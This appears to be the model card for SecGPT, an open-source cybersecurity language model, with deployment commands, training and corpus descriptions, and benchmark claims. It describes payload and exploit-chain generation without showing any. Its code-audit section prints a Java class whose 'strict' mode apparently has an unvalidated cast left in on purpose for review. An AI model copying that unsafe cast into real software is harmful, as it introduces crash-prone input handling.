Secgpt 7B

🚀 SecGPT: The World's First Open-Source Large Model for Cybersecurity

SecGPT is an open-source large model officially launched by Clouditera in 2023, tailored for cybersecurity scenarios. It aims to comprehensively enhance the efficiency and effectiveness of security protection through artificial intelligence technology.

✅ Our Vision: Drive the intelligent development of cybersecurity and build a safer digital space for society. 🚀 Our Mission: Enable every enterprise to have an intelligent assistant that "understands security."

SecGPT integrates core capabilities such as natural language understanding, code generation, and security knowledge reasoning, and has been successfully applied in multiple key security task scenarios:

• 🛠 Vulnerability Analysis: Understand the causes of vulnerabilities, assess the scope of impact, and generate repair suggestions.
• 🧭 Log and Traffic Tracing: Restore attack paths, analyze attack chains, and assist in incident review.
• ⚠️ Anomaly Detection: Identify potential threats and enhance security awareness and response capabilities.
• 🎯 Attack-Defense Reasoning: Support red team exercises and blue team analysis, and provide decision-making support for actual combat.
• 📜 Command Parsing: Analyze attack scripts, identify intentions and high-risk operations.
• 💬 Security Knowledge Q&A: A knowledge engine that provides instant answers for teams.

🔧 Latest Updates

• April 2025: SecGPT V2.0 was released, comprehensively upgrading the security understanding and task execution capabilities.
• March 2024: The lightweight version SecGPT-Mini was officially open-sourced and can run efficiently on CPUs.
• December 2023: SecGPT was officially released, becoming the world's first open-source large model for cybersecurity.

📂 Open-Source Resources

• Model Source Code and Documentation:
  • https://github.com/Clouditera/secgpt
• Dataset Download Address:
  • https://huggingface.co/datasets/clouditera/security-paper-datasets

🔧 Model Deployment

SecGPT supports deployment through the vLLM high-performance inference framework, suitable for security model service scenarios with low latency, high concurrency, and high throughput.

Environment preparation and service startup:

# Create a Python environment (Python 3.10+ is recommended)
conda create -n secgpt-vllm python=3.10 -y
conda activate secgpt-vllm

# Install vLLM (PyTorch + CUDA are required)
pip install --upgrade pip
pip install vllm

# Start the server service
CUDA_VISIBLE_DEVICES= xxx(GPU index) \
vllm serve ./secgpt \
  --tokenizer ./secgpt \
  --tensor-parallel-size 4 \
  --max-model-len 32768 \
  --gpu-memory-utilization 0.9 \
  --dtype bfloat16 \

# Example request
curl http://localhost:8000/v1/chat/completions \
  -H "Content-Type: application/json" \
  -d '{
    "model": "secgpt",
    "messages": [{"role": "user", "content": "What is an XSS attack?"}],
    "temperature": 0.7
  }'

Highlights of This Update

1. Stronger Foundation Capabilities: Deep Integration of General and Security Features

Based on the Qwen2.5-Instruct series and DeepSeek-R1 series models, combined with a self-built security task set and security knowledge base, we conducted continuous training on an 8 A100 GPU cluster for more than a week, completing large-scale pre-training, instruction fine-tuning, and reinforcement learning. This significantly improved the model's understanding, reasoning, and response capabilities in security scenarios.

The following figure shows the evolution of key indicators during a training process:

• Training and Validation Loss (train/loss and eval/loss): Both showed a steady downward trend, indicating that the model continued to converge on the training set and validation set without signs of overfitting.
• Learning Rate Curve (train/learning_rate): A typical Warmup + decay strategy was adopted, effectively improving the stability and convergence speed of early training.
• Gradient Norm (train/grad_norm): The overall fluctuation was stable, with only slight spikes in a few steps. There was no gradient explosion or disappearance, indicating a healthy and stable training process.
• Evaluation Performance: eval/runtime and eval/samples_per_second had small fluctuations, indicating efficient use of system resources and stable inference throughput during the evaluation process.
• Other indicators such as the number of training epochs (train/epoch) and the number of input tokens (train/num_input_tokens_seen) also showed that the training process was carried out as planned and achieved the expected goals.

2. Larger High-Quality Security Corpus: Dual-Driven by Private and Public Data

We have built a large-scale and well-structured cybersecurity corpus, with a total volume of over 5TB and a total of 106,721 original files, of which more than 40% of the content was manually selected and structured. The private data part systematically integrated security data resources with a 70+ field / 14-class structure label system. After unified cleaning, semantic annotation, and reconstruction, a high-quality corpus of hundreds of billions of Tokens was constructed, providing strong support for the deep reasoning ability of the large model.

The following figure shows the composition dimensions of the corpus. The overall collection logic follows a three-layer structure system of "theoretical support - actual combat confrontation - application implementation":

• Theoretical Support: Covers authoritative materials such as laws and regulations, academic papers, and industry reports, providing a solid knowledge foundation for the model.
• Actual Combat Confrontation: Includes data such as vulnerability details, CTF question banks, log traffic, malicious samples, and reverse analysis, improving the model's ability to identify and track real attack behaviors.
• Application Implementation: Covers security community blogs, educational and training materials, security knowledge graphs, and automated strategies, enhancing the model's adaptability in security operations and decision-making assistance scenarios.

🧪 Model Evaluation and Capability Analysis

1. Model Capability Evaluation: Comprehensive Improvement in Key Indicators, Emerging Practical Intelligence

To comprehensively evaluate the practical security capabilities of SecGPT, we established a comprehensive evaluation system covering security certificate Q&A, general security knowledge, programming ability, knowledge understanding, and reasoning ability. The following standardized datasets were mainly used: CISSP, CS-EVAL, CEVAL, GSM8K, and BBH.

In comparison with the original model SecGPT-mini, the trained model achieved significant improvements in all indicators, as shown below:

1.1 Vertical Evaluation Comparison of the Model

📈 Interpretation of the Capability Improvement:

• From mini to 1.5B: The model has the basic question-answering ability to "answer correctly" and is suitable for tasks of low to medium complexity.
• From 1.5B to 7B: The reasoning depth and generalization ability are significantly enhanced, and the model can understand the task intention and construct a relatively complete solution path.
• From 7B to 14B: The model's capabilities reach the "expert-like" level and can handle high-complexity reasoning, security policy formulation, and other high-level tasks.

1.2 Horizontal Evaluation Comparison of the Model

Compared with the base model Qwen2.5-Instruct, SecGPT achieved substantial improvements in all evaluation indicators, reflecting the overall optimization results of our data construction, fine-tuning paradigm, and security task fine-tuning mechanism:

💡 Key Insights:

• On security datasets such as CISSP and CS-EVAL, SecGPT outperformed the same-scale versions of Qwen2.5 in all parameter scales.
• This indicates that the security task instruction set and fine-tuning strategy we constructed have significantly improved the model's practical application ability and professional question-answering depth.

2. Improvement in Security Capabilities: More Comprehensive, Accurate, and Professional

In this upgrade, SecGPT achieved a leap in security knowledge Q&A from information integration to logical output, specifically manifested in the following aspects:

• More Comprehensive Knowledge Coverage: Structured corpus covering 14 security knowledge areas such as laws and regulations, attack tactics, and reverse analysis was introduced.
• More Accurate Answer Generation: Through multi-round dialogue control and semantic optimization technology, the question-answer alignment rate and context memory stability were improved.
• More Prominent Reasoning Ability: The model has the ability to connect multiple pieces of knowledge and conduct complex logical reasoning, and can complete complex tasks such as attack chain analysis and threat assessment.

2.1 Penetration Testing Scenario Capability

SecGPT can simulate the penetration attack process, from information collection, vulnerability exploitation to privilege escalation and lateral movement. It has the ability to analyze key tool commands, construct Payloads, and generate exploitation chains.

2.2 Log Analysis and Traffic Analysis Capability

In the scenarios of security logs and network traffic, SecGPT can automatically identify abnormal events, construct attack chain graphs, extract key IOCs (Indicator of Compromise), and assist in event tracing and alarm classification.

2.3 Reverse Analysis Capability

Based on the understanding of low-level data such as disassembly, API call sequences, and packing behaviors, SecGPT can assist in the static analysis, feature extraction, and family classification of malicious samples, and has a certain ability to assist in reverse analysis.

2.4 Code Audit Capability

import java.util.*;
import java.util.stream.Collectors;

public class AverageCalculator {

    public static double calculateAverage(Object input, boolean strict) {
        if (strict) {
            System.out.println("Running in STRICT mode");

           
            @SuppressWarnings("unchecked")
            List<Number> numbers = (List<Number>) input;
            double total = 0;
            for (Number num : numbers) {
                total += num.doubleValue();
            }
            return total / numbers.size();
        } else {
            System.out.println("Running in SAFE mode");

            List<Double> parsed = parseInputSafe(input);
            double total = parsed.stream().mapToDouble(Double::doubleValue).sum();
            return total / parsed.size();
        }
    }

   
    public static List<Double> parseInputSafe(Object input) {
        List<Double> result = new ArrayList<>();

        if (input instanceof String) {
            String s = (String) input;
            if (!s.matches("\\d+")) {
                throw new IllegalArgumentException("String must contain only digits.");
            }
            for (char c : s.toCharArray()) {
                result.add(Double.parseDouble(String.valueOf(c)));
            }
        } else if (input instanceof List<?>) {
            for (Object obj : (List<?>) input) {
                try {
                    result.add(Double.parseDouble(obj.toString()));
                } catch (NumberFormatException e) {
                    throw new IllegalArgumentException("Invalid element in list: " + obj);
                }
            }
        } else {
            throw new IllegalArgumentException("Unsupported input type: " + input.getClass());
        }

        return result;
    }

   
    public static void main(String[] args) {
        List<TestCase> testCases = Arrays.asList(
            new TestCase("12345", false),
            new TestCase("12345", true),           
            new TestCase(Arrays.asList(1, 2, "3", "4"), false),
            new TestCase(Arrays.asList(1, 2, 3, "four"), false),
            new TestCase(Arrays.asList(1, 2, 3, "four"), true)   
        );

        for (int i = 0; i < testCases.size(); i++) {
            TestCase tc = testCases.get(i);
            System.out.println("\n--- Test Case " + (i + 1) + " | strict=" + tc.strict + " ---");
            try {
                double avg = calculateAverage(tc.input, tc.strict);
                System.out.println("✅ Average: " + avg);
            } catch (Exception e) {
                System.out.println("❌ Error: " + e.getMessage());
            }
        }
    }

   
    static class TestCase {
        Object input;
        boolean strict;

        TestCase(Object input, boolean strict) {
            this.input = input;
            this.strict = strict;
        }
    }
}

2.5 Tool Usage

📮 Contact Us

SecGPT is an open-source large model project in the field of cybersecurity. We believe that the power of openness, collaboration, and sharing can continuously drive the intelligent development of the industry.

We sincerely invite security researchers, engineers, and enthusiasts from around the world to jointly participate in the construction and optimization of SecGPT:

• 🧠 Propose usage suggestions or feature requirements.
• 🐞 Report issues and submit Issues.
• 💻 Contribute code and security task datasets.
• 📢 Participate in the exchange of usage experiences and the sharing of best practices.

📬 If you have any questions or cooperation intentions regarding the model, please feel free to contribute on GitHub or contact the Clouditera team. We look forward to working with more like-minded partners to build an AI system that "truly understands security."

⭐ Star History

⚠️ Disclaimer

When using SecGPT, please note the following:

• This project is built for research and communication purposes, and the output content may be limited by the coverage of the model training data.
• Users should independently judge the correctness and applicability of the model's output during use.
• If you plan to use this model for public release or commercial deployment, please clearly assume the relevant legal and compliance responsibilities.
• The developers of this project are not responsible for any direct or indirect damages that may arise from the use of this model (including but not limited to the model itself, training data, and output content).